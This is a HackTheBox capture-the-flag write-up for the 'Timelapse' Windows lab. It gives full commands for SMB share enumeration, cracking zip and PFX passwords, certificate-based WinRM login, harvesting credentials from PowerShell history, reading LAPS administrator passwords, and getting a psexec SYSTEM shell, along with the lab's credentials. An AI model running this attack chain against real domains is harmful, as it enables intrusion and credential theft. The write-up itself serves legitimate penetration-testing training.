Post

Timelapse HackTheBox

Timelapse HackTheBox

TimeLapse HackTheBox

Timelapse is an Easy Windows machine, which involves accessing a publicly accessible SMB share that contains a zip file. This zip file requires a password which can be cracked by using John. Extracting the zip file outputs a password encrypted PFX file, which can be cracked with John as well, by converting the PFX file to a hash format readable by John. From the PFX file an SSL certificate and a private key can be extracted, which is used to login to the system over WinRM. After authentication we discover a PowerShell history file containing login credentials for the svc_deploy user. User enumeration shows that svc_deploy is part of a group named LAPS_Readers. The LAPS_Readers group has the ability to manage passwords in LAPS and any user in this group can read the local passwords for machines in the domain. By abusing this trust we retrieve the password for the Administrator and gain a WinRM session.

image.png

Initial Enumeration

Rustmap

We start off with rustmap to find the open ports and services running on the box.

1
rustmap.py -ip 10.129.200.134

image.png

image.png

From the scan we have a numerous ports open namely DNS, SMB, KERBEROS, LDAP, WSMAN etc which indicates that it is an Active Directory Box.

Nmap also identifies the domain controller being DC01 and the domain being timelapse.htb

I will add DC01.TIMELAPSE.HTB and TIMELAPSE.HTB to our /etc/hosts file.

Proceeding with the SMB enumeration.

SMB Enumeration

Lets enumerate SMB and see if any share is guest readable since we dont have any valid credentials across the domain.

1
nxc smb timelapse.htb -u '.' -p '' --shares

image.png

We have a Shares share which is world readable.

Connecting to the share using SMBCLIENT.

1
smbclient //dc01.timelapse.htb/Shares -U '.'%

image.png

We have successful authentication with the Shares share.

image.png

We have some files present in this share lets download them all.

image.png

Successfully downloaded them to our local machine, lets now enumerate further to see if we catch credentials that authenticate to the domain.

Exploitation

ZIP Cracking

In the Dev folder we have a winrm_backup.zip file which when we try to unzip asks for a password we can crack it using JTR

image.png

Using zip2john to convert the file to a crack able JTR hash.

1
zip2john winrm_backup.zip

image.png

Cracking it.

1
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

image.png

Unzipping it.

image.png

We now have a .pfx file.

Leaving the .pfx file for the future reference

RID Brute forcing

Lets first get all the users on the domain with the RID Cycling attack.

1
nxc smb timelapse.htb -u '.' -p '' --rid-brute

image.png

Saving all the users to a users.txt file.

Lets now move to our .PFX file and inspect it.

The .PFX Inspection

Lets try to extract data from the .pfx file and see what we can find.

1
openssl pkcs12 -info -in legacyy_dev_auth.pfx

image.png

Lets try to crack the .pfx file with John using pfx2john since it requires a password to open.

1
pfx2john legacyy_dev_auth.pfx

image.png

Lets crack this hash using JTR.

1
john --wordlist=/usr/share/wordlists/rockyou.txt pfxhash.hash

image.png

Extracting Certificate and Private Key.

Lets now enter the import password.

1
openssl pkcs12 -info -in legacyy_dev_auth.pfx

image.png

image.png

Now lets extract the certificate and the private key from the .pfx file using Openssl.

1
openssl pkcs12 -in legacyy_dev_auth.pfx -clcerts -nokeys -out cert.pem

image.png

We have the certificate for the legacyy user.

Lets now extract the private key

1
openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -nodes -out key.pem

image.png

Now we have both the cert.pem and key.pem, lets now try to login.

Shell as Legacyy

Using evil-winrm-py to login as legacyy user.

1
evil-winrm-py -u legacyy --priv-key-pem key.pem --cert-pem cert.pem --ssl -i 10.129.200.134

image.png

We can get user.txt this way.

Now I will upload a sharphound.exe to know more info about the domain.

Bloodhound

Uploaded Sharphound to collect the domain information.

1
.\SharpHound.exe -c All

image.png

Downloaded and unzip the .zip ldap data in our Bloodhound instance.

Marking all the users that we own.

image.png

Unfortunately we have only 1 outbound connection from the Legacyy user and that is PSRemote which is already active.

Shell as SVC_Deploy

Now every user has his Powershell history stored in a file known as ConsoleHost_History.txt which stores all the commands executed on a powershell.

As legacyy user reading the history file gives us these details.

1
cat C:\Users\legacyy\appdata\roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

image.png

we now have credentials for the svc_deploy user, marking him as owned in bloodhound and checking the outbound object control from this user.

Validating the credentials using NetExec.

1
nxc smb timelapse.htb -u svc_deploy -p 'E3R$Q62^12p7PLlC%KWaxuaV'

image.png

Shell as Administrator

And from the bloodhound we have this.

image.png

This means we can use bloodyAD to find the Local Administrator password for the Administrator account stored in the ms-mcs-admpwd attribute.

1
bloodyAD -d timelapse.htb -u svc_deploy -p 'E3R$Q62^12p7PLlC%KWaxuaV' -i 10.129.227.113 msldap laps

image.png

We can get this way too.

1
bloodyAD -d timelapse.htb -u svc_deploy -p 'E3R$Q62^12p7PLlC%KWaxuaV' -i 10.129.227.113 get search --filter samaccountname='dc01$' --attr='ms-mcs-admpwd'

image.png

Validating the password for the administrator.

1
nxc smb timelapse.htb -u 'Administrator' -p 'dv2irh/jqU497.a}8p])Quvl' --shares

image.png

Lets now request a TGT

1
faketime -f '+8h' getTGT.py timelapse.htb/Administrator:'dv2irh/jqU497.a}8p])Quvl'

image.png

Now lets do a psexec to get a shell on the box as the NT/AUTHORITY SYSTEM.

1
faketime -f '+8h' psexec.py -k -no-pass dc01.timelapse.htb

image.png

However the root.txt file was not on the Administrator’s desktop it was found to be on TRX user’s Desktop.

1
get-childitem -path c:\users\ -filter "root.txt" -recurse -erroraction silentlycontinue

image.png

Rooted !

image.png

Thanks for Reading 😊✌️

This post is licensed under CC BY 4.0 by the author.